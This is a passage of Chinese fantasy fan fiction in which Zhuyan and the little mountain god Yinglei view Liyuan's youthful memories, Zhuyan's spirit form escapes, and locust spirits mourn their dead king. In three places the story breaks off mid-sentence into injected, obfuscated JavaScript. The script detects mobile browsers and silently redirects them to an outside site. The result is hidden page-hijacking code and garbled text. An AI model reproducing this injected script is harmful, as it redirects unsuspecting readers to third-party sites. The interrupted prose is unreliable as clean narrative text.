被少年朱厌盯得有点不好意思的离仑,那张清冷淡漠的脸上罕见浮现出一抹红晕,只好先行别开脸,强装镇定:“你不是喜欢伞吗?” 少年朱厌一听,不知是想到了什么,白皙的脸色突然微微泛红,连话都顿时说不清楚了:“爷...爷爷...总共就给我们五文钱...还是省着点花吧...” 少年离仑没有回应少年朱厌的话。 只是撑着伞的那只手,不断暗自调整着手中油纸伞的角度,不自觉地朝朱厌所在方向倾去,确保朱厌身上的所有地方,都不会被雨淋湿了衣裳。 确保雨不会将朱厌弄湿后,少年离仑伸手,轻轻牵过朱厌的手,故作镇定,淡淡说着:“走吧。我们回家。” 一旁的少年朱厌,看到自己的手突然被离仑的大手紧紧包裹着,掌心与掌心之间传来的那股温热,灼得他脸上的红晕更深了,脸瞬间再度发烫起来。 年少的朱厌顺着离仑的话,小声回应着他:“...嗯...回家...” 下一秒,转身离去的两人,原本陪在少年朱厌身边的离仑,突然就像一阵风沙,消失得无影无踪,只剩下大雨之间,独自被留在原地的少年朱厌。 “离仑!”朱厌一看,激动得想要追上去,却被一旁的英磊死死拉住。 “大妖,大妖,你冷静下。”英磊连忙伸手拦住了想要上前的朱厌,连忙解释着,“你听我说,这个山海寸境里所有的记忆,都是不可以碰的。你要是碰了它们,这里面储存下来的记忆,就会彻底消散不见的。” 朱厌如此激烈的反应倒把英磊吓了了大跳。 拉扯之间,英磊瞥见了一旁发出的一道微弱的白光,拉着朱厌就直接往那道白光钻了进去,随后两个人也消失不见了。 20. 少年离仑 等到从山海寸境的第一个记忆镜消散后,英磊跟朱厌再次睁眼之时,依旧是凡间。 这是,这一次的凡间,没有下雨。 天气晴朗,阳光明媚。喧哗热闹的市集上,路边更是摆满了售卖各种小物件和杂货小吃的小摊。 “人间嘈杂闹腾,有什么好的。” 朱厌跟英磊刚站稳,一道熟悉的声音便从喧闹的街道拐角处,由远及近传入两人的耳朵里,惹得两人当下便循着这道声源,双双望去。 今日的离仑和朱厌,两个人身上还是穿了一套一模一样,做工精致的衣裳,这次却是黑色的。 朱厌的那一身,还是一如既往地花里胡哨。 那件深黑泛紫的外袍之上,绣满了耀眼的珠钉,还有大片精致好看的金色兽纹图样,衬得原本长得就精致好看的他更加好看了。 离仑的那一身,相比之下依旧素雅了许多,外袍之上不像朱厌那么多花里胡哨,只是绣着简约大方的槐鬼妖纹。淡金的槐鬼妖纹图腾,在阳光照耀下,显得格外的栩栩如生。 少年离仑望着手上的白泽封印,不由吐槽着:“每次陪你来人间,都得盖这么一个戳。” 一旁的少年朱厌,对四周一切新奇事物都格外好奇。 少年朱厌这个瞧瞧,那个摸摸,完全没有留意到站在他一旁正满身散发着浓浓哀怨的离仑。 少年离仑偷偷瞥了一眼身边的朱厌,见他依然没搭理自己。 原本还小声嘀咕着的他,顿时提高了音量:“每次陪你来人间,都得盖这么一个戳。真烦——” 少年离仑还刻意把‘真烦’两个字加重了语气。 一旁站着围观两人互动的朱厌一瞧,抑制不住轻笑出声。 原来,年少的离仑,在自己面前,竟如此孩子气,怪可爱的! 而一旁的英磊看到后,直接一副目瞪口呆的表情。 小老虎的三观,被离仑的这番幼稚行为彻底震碎。 下一秒,英磊捂住心口,做出一副痛心疾首的模样,暗自吐槽着! 这还是他认识的离仑吗?不!这还是那个在他面前毒舌傲娇的离仑吗? 原来,年少的离仑,在朱厌面前,竟如此幼稚鬼,贼可恶的! 果然,善良单纯的他,还是低估了离仑这只万年老槐妖的邪恶! 少年朱厌还是没有注意到身旁离仑刻意的幼稚鬼行为,满心欢喜地拉着离仑冲到一个小摊前:“哎——你看——” 被少年朱厌拉到风车摊前的少年离仑一脸无奈,安静地站在他身边,等着他挑风车。 最后,少年朱厌挑了一只最漂亮的红色小风车,放在嘴边使劲吹了又吹,风车还是纹丝不动。 再试一次,风车依旧纹丝不动。 少年朱厌一脸疑惑,原本明亮好奇的眼眸连光芒都黯淡了几分:“咦?怎么回事?怎么吹不动呢?” 少年离仑看到后,偷偷伸出手,又偷偷施法,让朱厌手上的风车转起来。 下一秒,少年朱厌手上的风车便转动了起来。 轻风掠过朱厌额前散落的发丝,那双原本黯淡下去的眼眸也再次变得亮晶晶的,他的脸上也开心地露出笑容。 少年离仑见状,嘴角不由微勾,语气之中都带了一抹连他自己都没察觉的宠溺,轻声细语:“你就那么喜欢吗?” 朱厌目不转睛盯着手上转个不停的风车,眼睛亮亮的,开心得不得了:“嗯!喜欢。” 谁知,他一转头,就看到了背对着他,正在对风车偷偷施法的离仑,不由嘴角一撇:“你哪儿学的小把戏?就知道哄我开心——” 被发现的少年离仑没有说话,脸上丝毫没有被朱厌戳破的尴尬,反而露出一副见怪不怪的模样,眸中满是得意之色,语气颇为傲娇地开口:“哄你我自有大把法子,只要你喜欢就好。” “噗呲——” 站在少年离仑朱厌身后不远的英磊听到这话后,直接爆笑出声。他实在是受不了如此情话绵绵又无比肉麻的离仑。 这样子的离仑,从头到脚,哪里有一点身为万槐之皇的上古大槐妖,大荒妖族之王的模样呀?!若拿此刻的他与那凡间孩童相比,其幼稚程度简直是有过之而不及呀! 朱厌斜着眼望向英磊,好奇问道:“他跟你眼里的他,相差很多吗?” “这个离仑,跟我认识的离仑一比,除了个壳子外,里头那根木头芯儿,简直都被人换了。” 英磊抖了抖身子,做出一副扫掉浑身鸡皮疙瘩的动作,:“不过呀——” “倒是有一点,他一直都没变。” 一旁的朱厌被突然停下的英磊彻底勾起了好奇心:“什么呀?” 英磊拿过自己的黄毛小辫子把玩着:“就是啊,不管以前年少时的小屁孩离仑,还是成年后成为大荒妖王的离仑,对你都是如此肉麻,爱你爱得死去活来的。” 英磊接着又补多一句:“当然咯,你也爱他爱得死去活来的。” 谁知,听完英磊这番话的朱厌,心里不由咯噔了一下,脸色顿时变得格外难看。 原来,离仑很爱他。 那他呢,也很爱离仑吗? 可是,如果他也很爱离仑的话,为什么自己什么都不记得了,甚至记忆里,从头到尾根本就没有存在过‘离仑’这个名字呢? 在冉遗尘梦迷阵内,除了他所看到的那场雪山大战之外,大战后的他,到底还发生了什么他不知道的事情呢? “走吧。”朱厌眸光微闪,转过身去,准备先行离开。 “哎,你去哪儿?不看完他的记忆吗?” 朱厌身后的英磊,小跑着追上他,一把拉过他的手,朝着逆方向的白光缓缓走去。 “你说你,来都来了,我开启一次山海寸境也挺废我修为的,咱们看完他储存在这山海寸镜里的最后一段记忆,再走也不迟呀。” 两个人再次消失不见了,等到再次睁眼时,大荒的景色映入眼帘。 英磊看着四周,伸手挠了挠脑袋,一脸茫然:“嗯?奇怪。这不是大荒吗?我们回来啦?” 耳边传来窸窸窣窣的声音引起了两人的注意,循声望去。 大荒的空地上,蹲着一道背对着他们的背影,窸窸窣窣的声音便是从那人身上传出。 “嘶——”原本光滑的十指上,布满了密密麻麻的小伤口。 看着食指上那道新增的伤口,血淋淋的样子看得离仑眉头一皱。 “你怎么又在这里啊?” 英磊一把拉过站在原地一动不动的朱厌,连忙给离仑记忆里的朱厌腾地。 他无比担心,若是不小心触碰到记忆,这可是会导致离仑存储在山海寸境的记忆彻底消失不见的。 朱厌看着前来找离仑的自己,径直路过自己的跟前。 这一次的自己,不再是先前凡间的银发模样,而是一头长发过腰的黑发,身上那股青涩也褪去了很多,变得越来越沉稳了。 看着蹲在地上闷声不吭的离开仑,朱厌一把拉过离仑的手,大声训斥着他:“阿离,你手怎么又受伤了?你又在给崽崽做竹马吗? 离仑手上那道口子有点深,血淋淋的伤口看得朱厌格外心疼,眉心紧皱得都可以夹死一只蚊子了。朱厌一脸心疼,忍不住给他吹了吹,意图缓解他的疼痛。 “别再给崽崽做竹马了,我们去人间买吧。” 朱厌只顾着心疼离仑,连他自己都忘记了,他跟离仑都是大荒妖域之内的上古大妖,受的伤只要不致命,过一会便会自愈。 “我们阿厌怎么又生气了?晨起生气,午时生气,傍晚也生气——”离仑一把将朱厌搂进怀里,细声安慰起来,“别生气了。” 看朱厌还是一脸气鼓鼓的样子,离仑不由笑出声,连忙哄着他:“好。听你的。我们去人间买吧。” 两个人还在说着话,只是所说的话,一旁的朱厌跟英磊都听不清楚。 没一会,一旁的离仑就又像先前一样,化作一阵风沙,随风而去。 “离仑!离仑...”朱厌看到后下意识就冲了上去,再一次又被一旁的英磊拦了下来。 “朱厌别去。这只是记忆而已,是他的记忆而已,你冷静一点。” 朱厌的情绪开始失控,英磊见状不妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340712|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后赶紧十指结印,口中念咒:“天地生灵,众生百相。” 两人彻底离开了‘山海寸境’中的离仑记忆,又重新回到了山神庙。 回来了的朱厌,没了一开始来神庙找英磊的雅趣,整个人反而像是被人抽干了精气,变得无精打采,失魂落魄。 “朱厌!朱厌!醒醒!”英磊站在朱厌跟前,在他面前来回招手着,试图唤回他的思绪。 最后还是英磊动手,把朱厌像摇娃娃一样,使劲摇了又摇才把他唤回神来。 “我,这是怎么了?” 回过神的朱厌,觉得自己脸上湿哒哒的,粘腻得很,伸手一碰,才发现自己早已泪流满面。 英磊看到这副模样的朱厌,耐着性子解释着:“这是进入‘山海寸境’后,离仑的记忆对你所产生的反噬。” “山海寸境里头的时间也跟我们这里的不一样,别看我们才刚进入没多久,算一下...” 英磊掰着自己的十指算了又算,算了足足大半天,才终于算明白清楚:“我们进去的这一会,这外面最早都已经过了一个月了。” 朱厌一听,不由一愣:“一个月?” “对。山海寸境里,一个记忆镜折算下来,大约是我们这里十到十五天的时间。” “离仑当初跟我借走山海寸境,也没跟我说他会在里头存储多少面记忆镜。毕竟你们青梅竹马,好几万年的时光,我还担心山海寸境存不下呢。没想到,就只有三个啊...” 英磊还在劈里啪啦讲个不停,朱厌早已听不进去,整个人一言不发,转身就走。 “怎么就跑了!哎——” “咱可先说好了,我已经告诉你离仑是谁了,你可别去找爷爷告状也别告诉爷爷哈——” “朱厌大妖,听清楚了没!你到底有没有听到我说的话呀!死猴子——” 见朱厌没有任何反应,直接走远了,英磊着急得都快把嗓子吼出烟了。 气得英磊又咬起自己的黄毛小辫子,一脸愤愤不平:“这死猴子真的是翻脸不认人...” 天边再次响起一道轰隆隆的巨雷,将英磊的思绪彻底召回。 大荒的天空被朱厌出逃的戾气逐渐侵蚀,英磊的眼中满是担忧,不由想起了数万年前的某一天突然来找他的离仑—— 一向沉稳得体的离仑,那天也是站在他现在的这个位置,眼神淡淡地望着天空,一言不发。 就在他以为离仑不打算开口说话时,离仑开口了。 “英磊,你帮我护好他。” 离仑此话一出,英磊心莫名一沉,顿感不妙,却笑着回他:“你家朱厌,你自己护着。” 见离仑没有接话,英磊借着嬉皮笑脸,实则说着内心的真心话:“这几万年里,我天天看你们秀恩爱还不够,还要我护着他?” “你倒想得挺美的。我可不护着他,他也不可能让我护着。所以啊,朱厌这尊大佛,还是你自己护着吧。” 离仑还是没有接话,只是依旧眼神淡漠望着天空。 英磊每每想起,还是不知道应该怎么形容那一日的离仑。 那一日的离仑,破碎得就像一座孤寂的荒山,一轮落寞的残月。 后来,英磊才知道,原来那一日的离仑,早已做好赴死的准备。 离仑送他的那一坛醉人的桃花酿,是致谢之礼。 谢他往后对朱厌多加照顾,更是临别之礼,也是在跟他,还有他们之间这段万年友谊告别。 那时的英磊并不知道离仑到底发生了什么,心中带着万般疑问,可到了嘴边却只剩下这么一句话:“离仑啊...你可别死了...” “不然...你家朱厌,可是会把我生吞活剥的...” 英磊收回眼神,目光如炬,对着前来传话的小妖兽若有所思说着:“走吧,去槐江谷。” 槐江谷小居内,因沉爱之香而深陷梦魇的朱厌,满额冷汗,眉头紧蹙,一脸痛苦。 “孩子,哪一条,才是你的道,你自己悟吧——” 是英招的声音。 朱厌难受得直.喘,痛苦出声:“爷爷...” 21. 阿槐殿下 沉爱愿境内,朱厌看到,昔日的离仑正坐在槐江谷小居的窗前,望着某个方向的眼中满是柔情,嘴角泛着淡淡的笑意,手上端着一杯醉人的桃花酿,一饮而尽。 “爹爹,我娘呢?” 伴随着叮叮当当的铃铛声,一道孩童的嗓音不知从何处传来,带着一抹着急:“哥哥又欺负我!我要跟娘告状!我——” 孩童的话语还没说完就被另外一个孩童打断了:“闭嘴!小告状精!” 接着,槐江谷小居内便传来两个小孩子不断拌嘴的声音。 离仑被吵得有点头疼,无奈之下,只好冷言威胁道:“阿厌在睡觉,你们不许去闹他。再闹阿厌,都丢去喂横公鱼——” 横公鱼是大荒里一种长得和凡间鲤鱼差不多的妖兽,却比鲤鱼大上数百倍。它的鱼鳞,硬如钢铁,刀枪不入,可做御敌铠甲,也能做杀人利刃。同时,这横公鱼也是大荒最凶猛的妖兽之一。 朱厌刚想走近,身后又传来了断断续续的对话。 这一次,是一大群孩童聚在一起,叽叽喳喳说着话。 嗯? 什么声音? 一道奶声奶气的声音朝着一处大声唤着:“阿槐殿下——” 阿槐是谁? “哇——”一个穿着树叶衣裳的槐精,站在一棵大槐树下,望向树上的眼睛亮晶晶的,满眼崇拜,“阿槐殿下,你好厉害啊——” 一旁另外一个小豆丁大的槐精,扭着胖乎乎的身子,撅着小屁.股,从地上爬起来,口中咿咿呀呀说着,“那可不是!你们看,这么高的树,一下子就飞上去了!” “殿下好厉害啊——” 朱厌的注意力被这段对话彻底勾走,一脸疑惑,沿声走向那群槐精们。 循着槐精们的目光望去,只见一棵大槐树上,正坐着一个黑衣长发的孩童。 只见,那孩童悠闲地晃着双腿,看起来心情颇为愉悦。 坐在槐树上的孩童,身着一身雍容华贵的宽大华服。黑金相间的衣袍,在阳光照耀下隐约可见上头的古槐妖徽。额间长着跟离仑如出一辙的槐鬼妖纹,张扬又耀眼。 视线触及到那孩童长相之时,站在树下的朱厌呼吸一滞,一脸错愕。 是白玖。 可这个想法还未停留几秒,便随即被他直接否定掉。 不对! 这个孩子脸上的妖纹,是槐鬼妖纹。而白玖随他,长得是白猿一族的妖纹。 树上坐着的孩童,虽然长着跟白玖一模一样的脸,气质却截然不同,就像一个成熟的小大人。 明明看起来才约莫十岁左右的孩童,可朱厌竟然从幼小的他身上,看到几分离仑的影子。 若说,先前他在冉遗的尘梦迷阵内所见到的白玖,活泼得像一轮温暖璨阳,那么眼前的这个‘白玖’,则沉稳得如一弯寒霜清月。 坐在槐树上的孩童,晃悠着小腿,清冷如霜的眉目,在听到底下一群槐精们的话时顿然柔和起来,那双波澜不惊的暗蓝眼睛里也多了几分炫耀与得意,连同说话的语调都不自觉上扬了好几分:“厉害吧?娘亲教我的。” 坐在树上的‘白玖’突然抬眸望向朱厌,那双暗蓝眼睛在看到他时彻底亮了起来,朝他开心大喊着:“娘亲——” 听到这一声呼唤,朱厌瞳孔骤缩,心头更是被震得又麻又痛,让他下意识后退了好几步。 一个槐精牵着另外一个哭得很厉害的槐精过来,走到树下,两眼巴巴,委屈地望着坐在树上的‘白玖’。 ‘白玖’噌的一声从树上一跃而下,稳妥落地,看到哭个不停的槐精,轻声细问:“怎么哭了?发生什么事了?” 一旁的槐精连忙告状:“阿玖殿下...把穗穗好不容易新长的花...给摘去做药了...” “我看看,疼不疼...” ‘白玖’蹲下身子,仔仔细细瞧了又瞧,伸出的掌心轻按在槐精的头顶。一股暗蓝法力自他手中,陆续涌出进入哭泣的槐精体内,下一秒,槐精头顶便又长满了白色的小花骨朵儿。 “好了,又长出来了。别哭了。待会我就告诉娘亲,让娘不给他做杏仁酪乳了,还有,今晚让爹爹不给他饭吃。” 下一秒,‘白玖’便直接朝他所在位置跑来,一把冲到他跟前。 上一秒还是个成熟小大人的‘白玖’,此刻小手紧紧保住他的大腿,抬起的脸上满是委屈,泪眼朦胧,语气哽咽着:“都是娘亲的孩子,为什么娘亲只记得弟弟呢?” 看着抱着自己大腿的‘白玖’哭得泪光闪闪,朱厌心里也难受起来,他不明白眼前这个‘白玖’为何如此问他? 见朱厌又一言不发,抱着他的‘白玖’更加委屈了,哭得一抽一抽的:“娘亲为什么都不来看阿槐呢?娘亲是不喜欢阿槐吗?” 时光山谷的昆仑洞窟,乘黄身旁的魑魅沙漏,突然发出隐隐约约的金光。 乘黄看着发光的魑魅沙漏,目光逐渐疯狂,语气阴森:“好香的痴呀...让我看看是谁的痴...” “原来是你呀...” “朱厌——”乘黄幽幽开口,语气阴森,嘴悬邪笑,“爱别离,求不得,滋味如何呢——” 乘黄干枯发皱的手,一把抓住正在发光的魑魅沙漏,顺势倒转,里面的沙粒缓缓掉落,由金变红。 他的声音,顺着沙漏里头收集到的痴念,隔空穿进了朱厌的沉爱愿境里。 朱厌望着眼前紧抱着自己大腿的‘白玖’,内心有种微妙的动容。 不知为何,他的直觉告诉他,眼前这个孩子,根本就不是真正的白玖。 明明一样的脸,可他就是瞧后,心里却格外难受。 为什么,看见这张脸,他竟如此难过呢? ‘白玖’再度开口:“娘亲...是不喜欢阿槐吗?” 朱厌张了又张的嘴,一副欲言又止的模样,最后还是选择开了口:“孩子,你到底是谁?” “我是娘亲的孩子呀...娘,你是不要我了吗...”‘白玖’泪流满面,那一张好看的小脸委屈得皱巴巴的。 “不如——”顺着朱厌的痴念,意外进入沉爱愿境的乘黄,阴森一笑,“我来帮你——” 与此同时,藏在昆仑洞窟里的乘黄,手中的魑魅沙漏,由金变红的沙粒越来越多。 槐江谷小居内,原本沉溺在沉爱愿境的朱厌猛然睁眼,心跳狂跳不止,呼吸急促,整个人久久无法回神,眼中涌现出一丝慌乱与无措... 窗外,电闪雷鸣,风雨急骤。 缓缓回过神的朱厌这才发现,自己周身都被红色戾气紧紧萦绕着,而大荒的天空也被出逃的戾气侵蚀变黑。 “糟了!” 朱厌脸色大变,顿时消失在原地,不见踪影。 等到英磊跟槐精赶到时,小居内早已空无一人,只剩下案桌上的馥馥香烟与一杯冷却多时的茶。 大荒的妖,不是每一个都能修出法相。 所谓的法相,是大妖将自己的内丹,在毫无防护的情况下,强行幻化离体,召出体外进行护体对战。而妖族法相,是唯有妖力强盛,至纯至善的上古大妖才能修出。 极为难修的大妖法相,一旦修炼成形,也很难归离,除非是本体自行召唤。可如若,与大妖本命一脉相承的法相一旦归离,内丹遭毁,便无法收回。而失去法相的大妖,识海尽碎,生机殆尽,只能枯坐等死。 朱厌想不明白,为何没有他的召唤,他的白猿法相却能自行离体,且行动自如呢? 带着满心疑问,飞在半空的朱厌,目视千里,耳听八方,竭力感应着自己出逃的白猿法相。 白猿法相脉承朱厌本体妖力,少了他的束缚,出逃的法相破坏力往往更甚,行动迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340713|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛。 此刻出逃已久的白猿法相,正肆无忌惮地破坏着大荒诸地,所到之处,皆成废墟。 在一番兜兜转转找寻之下,朱厌最后终于在大荒禁地里,找到了自己出逃的法相。 通体雪白的白猿法相,早已因戾气入侵而失智,变得浑身血红,眼冒黑雾。原本庞大的巨猿身子,变得跟刚出生的寻常白猿般大小,周身伤痕累累,正偷偷躲藏在建木神树枯萎的树身后,一下一下地舔着手上交错不一的伤口。 朱厌放轻了前进的步伐,一个不慎,踩到了掉落在地的枯萎树枝。 枝杈碎裂发出清脆声响,吓得躲藏在神树后的小白猿法相,胆小得往回又缩了缩身子。 “小东西,乖,过来——” 朱厌轻轻唤着法相,只见那变小了的白猿法相身子一抖,眼睛怯怯望了朱厌一眼,委屈巴巴将受伤的手往他跟前伸了又伸。 法相生于大妖本体,自是性随大妖本体,可所行之举却比本体妖主还更加坦荡直白。 因为戾气入侵而失智失控的白猿法相,早已看不清原本瞳仁的眼睛,此时正冒着滚滚黑雾,可朱厌却一下子就感受到它的委屈与撒娇。 “别怕。我看看——”朱厌像哄小孩般,轻声细语哄着自己的法相,见准时机,掐诀念咒,“归——” 一字诀落音,白猿法相重新回到朱厌体内,原本法相因破坏大荒而受的伤也都一并转移到朱厌身上。 “嘶——” 手上传来的灼痛,让朱厌疼得当下拉起衣袖。这才发现,自己妖化后的十指,指甲上翻,血肉模糊,手上也都是密密麻麻,大小不一的伤口。 一片枯萎的小槐叶,跌跌撞撞随风飘进大荒禁地,朝着朱厌所站的位置飞去。 朱厌见状,眸色一冽,双指随即夹住这片槐叶。 谁知,槐叶落掌的一瞬,叶片消失,随即一行金色小字,涌动于朱厌掌心。 伸手将自己的伤口治愈后的朱厌,连忙便赶回槐江谷小居。 刚入槐江谷小居,朱厌便看到站在门口翘首盼望的英磊。 “你没事吧?槐精用槐叶传音告诉我,说你又戾气失控了。” 看着英磊眉心都快皱成川字了,朱厌忍不住一笑:“嗯。出了点意外,现在没事了。” “就是不知为何,我的白猿法相,居然能自行离体了...我已经把它抓回去了。真是奇怪...” 听到朱厌提到他的法相离体的英磊,一下子怔住了,脸色由担忧瞬间转为不安。 见状,他连忙开口:“没事就好。有事就派槐精去昆仑雪山找我,” 在与朱厌擦肩而过,准备离开槐江谷,英磊突然停下脚步:“有事...别硬撑...”说完,便离开了槐江谷。 英磊此话一出,反而把一旁的朱厌弄得稀里糊涂了。 次日,天际泛白,晨光微醺,朱厌风尘仆仆回到槐江谷小居。 一旁扫地的槐精看到他,连忙放下手中扫帚,嘴里咿咿呀呀问着:“妖后大人,都修好了吗?” 朱厌伸手戳了戳槐精胖嘟嘟的小圆脸,一脸淡笑:“嗯——” 从昨天回来,英磊回去后他便出发,开始修复被出逃法相跟戾气破坏的大荒,消耗了他好多妖力才终于把被破坏的一切彻底修复好。 嘭嘭—— 原本一脸淡笑正逗着槐精的朱厌心口一痛,红润脸色瞬间转为煞白,连站着的身子当下都踉跄了几分,吓得槐精们连忙涌上前,伸手扶住他。 “大人,你还好吗?” 朱厌难受得说不出话,只是轻轻挥手,示意槐精退下。 怎么回事?心口竟酸胀得发麻? 为何,体内妖力又开始错乱起来? 朱厌忍不住抬头,遥望着天空许久,从头到尾都没有说话。 血月要来了吗... 22.槐精拜月 夜幕降临,寂静四周仅有微弱的蝉鸣低吟着,一道暗红结界笼罩着槐江谷小居整座后山。 小居后山上,一半是茂盛翠绿的竹林,一半是鲜嫩粉艳的遍野桃花。 往里走了约莫几百米,有一处隐秘山洞,是桃花山洞。 山洞四周被一片白雾萦绕着,地上由无数萤火虫聚在一起的盏盏萤灯,正发出微弱的光辉,将这漆黑无比的山洞照亮了几分。 夜风骤起,将缭绕的云雾和霜华轻轻吹散了几分,一大块布满青苔的岩石映入眼帘。 桃花山洞洞口处,那一块硕大的青苔岩石上,正坐着一道身影,是在此打坐调息着体内错乱妖力的朱厌。 饱满的颗颗汗珠从额头滑过朱厌精致的轮廓,滴落在岩石上,发出微弱水声。 朱厌双目紧闭,只见他眉眼之间,尽是不安与躁动。 眉心中央那枚素日里沉静得不见踪影的暗蓝妖印,此刻又若隐若现。细看之下,竟正往外渗着一缕又一缕红蓝相间的诡异雾气。 朱厌微微睁眼,眼里一片暗沉。 已经两天两夜了,可他体内那股错乱无序的妖力,还是久久不能归位。 到底怎么回事呢? “朱厌。”山洞内突然出现一道莫名其妙的声音打破了寂静,勾走了朱厌的注意。 朱厌并没有睁开眼睛理会,只是淡淡反问着:“你是谁?” 那人语气里带着一抹惬意,顺着朱厌的问题回复了他:“我是谁,这不重要。” “只是——” “朱厌,这个梦,如此伤情,你还要记起来吗?” 这道诡异的声音见朱厌没回应他,当下便化作一股黑烟,从无名处出现蹿到朱厌跟前,盘旋在他身边,不断重复,不断质问着他这个问题,一副势必要从他口中的到明确答案的模样。 朱厌被搅扰得心绪愈发不宁,连着眉间的躁意也逐渐明显起来,额间妖印雾气也越来越浓烈。 下一秒,那一抹盘旋在朱厌身旁的黑雾,看准时机,趁他躁意再涌之时,顺势钻入他的眉心。 一道巨雷轰然在大荒天空响起,把槐江谷内原本抱团休憩着的槐精们给统统吓醒。 槐精们顿时就叽叽喳喳交谈起来:“什么时辰了?快点醒醒!还要干大事呢!” 藏起来的槐精们纷纷现身,一会扭了扭胖乎乎的小身子,一会伸手理了理凌乱的头发。 “嗯?下雪了。” 一个胖嘟嘟的槐精,抬头看了看突然下起鹅毛大雪的天空,伸手接住了一片雪花。 冰凉的雪花冰瓣刚落到槐精的掌心,就化成一滴晕开的透明水珠。 “槐江谷下雪了。”槐精胖胖看着满天飘雪,一脸落寞说着,“唉,槐江谷怎么又下雪了?” 一旁一个小辫子上绑满大小不一的槐花花瓣,穿得花里胡哨的槐精拍了拍他的肩膀,用着一口小奶音安慰着他:“没事,过一会还得下雨呢。” 槐精萌萌接着说:“每次妖后大人心情不好,槐江谷就又下雪又下雨的。我都给摸索出规律了,你看,我厉害吧?” 胖胖一听,满眼赞赏,朝她伸出了自己的大拇指:“厉害。” 而他身边另外一个长相可爱的槐精睿睿,挠了挠自己的后脑勺,一脸疑惑:“妖后大人到底为什么心情不好呀?” 此话一出,在场的所有槐精们,瞬间像泄了气的气球般,个个垂头丧气着。 他们也才化形不久,根本没人知道已经活了数万年的朱厌到底为什么心情不好呀。 其中一个槐精突然出声,提议道:“听说,机柏木爷爷是大荒最老的草木大妖。要不,我们去问下他吧。” “好啊好啊!” 一瞬间,所有原地垂头丧气着的槐精们就像得到糖果的小孩一样,兴奋得个个欢声笑语,激动地跳了起来。 “快走快走。” 所有槐精们一个牵着一个的手,成群结伴往槐江谷第一层结界的位置走去。 等到过了许久后,槐精们回来后了。 可是,回到槐江谷的他们,个个的头都垂得更低了,一副像被霜打了的茄子般,更加垂头丧气。 槐精们成群结伴跑到了槐江谷小居后山,躲在角落里,一个个鬼鬼祟祟探着脑袋,偷瞧着朱厌。 后山朱厌布下的结界,无人能入,但偏偏只有槐精们能随意出入。 原来是因为,硕大的槐江谷小居内,离仑不在了,只有朱厌一个人住着,平日里也冷清得毫无人气,免不了他总会触景生情,心生难过。 自从多了在朱厌帮助下才变出人身的槐精们,槐江谷跟小居才有了一点热闹气息。 槐精生性善良纯正,化形不久的他们跟凡间孩童无一,有事没事都总爱黏着朱厌,倒也让他少了几分触景生情的难过。 槐精睿睿携着自家好兄弟胖胖,气喘吁吁跑了回来。 “怎样怎样?妖后大人睡着了吗?” 萌萌压低了嗓音,捂嘴问着偷看下来的睿睿,激动得都有些口齿不清了。 毕竟第一次槐生干坏事,还直接干到他们妖后大人头上。 “香点上了,妖后大人已经睡着了,我们快走。” 一旁的其他槐精们一听,个个面露喜色,一下子就变回槐木小精灵模样,飞速挪动起来。一时之间,诸多五彩斑斓的小光斑朝着槐谷入口的方向飞去。 昆仑雪山神庙前,一道黄色身影正撅着锄头,使劲挖着地。 嘭! 英磊眼睛一亮,面如灿阳,挖到了! 连忙伸手扒拉着土层,扒拉半天后终于看到一个黑瓦坛子,连忙挖了出来,小心翼翼解开红盖子,用鼻子轻轻嗅了嗅后,露出满意的神色。 白雪从天缓缓飘落,雪粒子一碰上人,就被皮肤的热度瞬间融没化水了。 提着新开封而出的石榴酒,刚踏入槐江谷的英磊,望着槐江谷的漫天白雪,心生疑惑。 自从万年前离仑死后,庇佑大荒的槐鬼之力消散后,大荒只要下雪,无一不都是诡异的黑雪,就像是大荒在为他们逝去的妖王,所举行的一场盛大葬礼。 还没走几步,刚入了第二层结界,英磊便一眼就看到槐精们跪在槐谷入口方向,朝着大荒明月月光最明亮的位置,一起叩头拜首着。 一看,英磊心中的疑惑更大了! 槐精们拜完后,一个个手拉着手,他们掌心相握的地方浮现出一个又一个五彩斑斓的光点,缓缓飘向天空。 “嗯?槐精们,你们这是干嘛呢?” 英磊骤然出声,把跪在地上的槐精们吓了一大跳。 有些格外胆小的槐精甚至被他吓得变回小精灵模样,一下子就遁入地里,掩藏了起来。 英磊连忙出声:“别跑呀。我又不吃你们,跑什么跑呢,这是在做什么呢?” 睿睿看到是英磊,下一刻便走上前,缓缓给他解释道:“小山神大人。” “我们大伙刚刚去找了机柏木爷爷。” “机柏木?”英磊一听,心中顿时了然了几分。 “机柏木爷爷说,今夜是月圆之夜,是我们王的忌日。” “我们王,因为变成了天上的星星,所以妖后大人心情才不好,槐江谷才一会下雪一会暴雨。” 睿睿每说一句,在场的槐精们眼中的难过与落寞就又多了一分。 英磊一听,心中诧异,脸上却丝毫不敢露出一点:“等等,你们说的机柏木?难道是槐江谷第一层结界入口的那一棵?” 槐精们众口齐齐回答道:“没错。” “我们才化形不久,可是妖后大人都已经活了六万多年了,我们根本就不知道,妖后大人他到底为什么心情不好。” “听说,机柏木爷爷是大荒最老的草木大妖。我们便想着,或许他知道些什么,所以我们才结伴去问他的。” “那...你们这群小豆丁,问出了什么?” “机柏木爷爷说,今夜是王的忌日。” “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 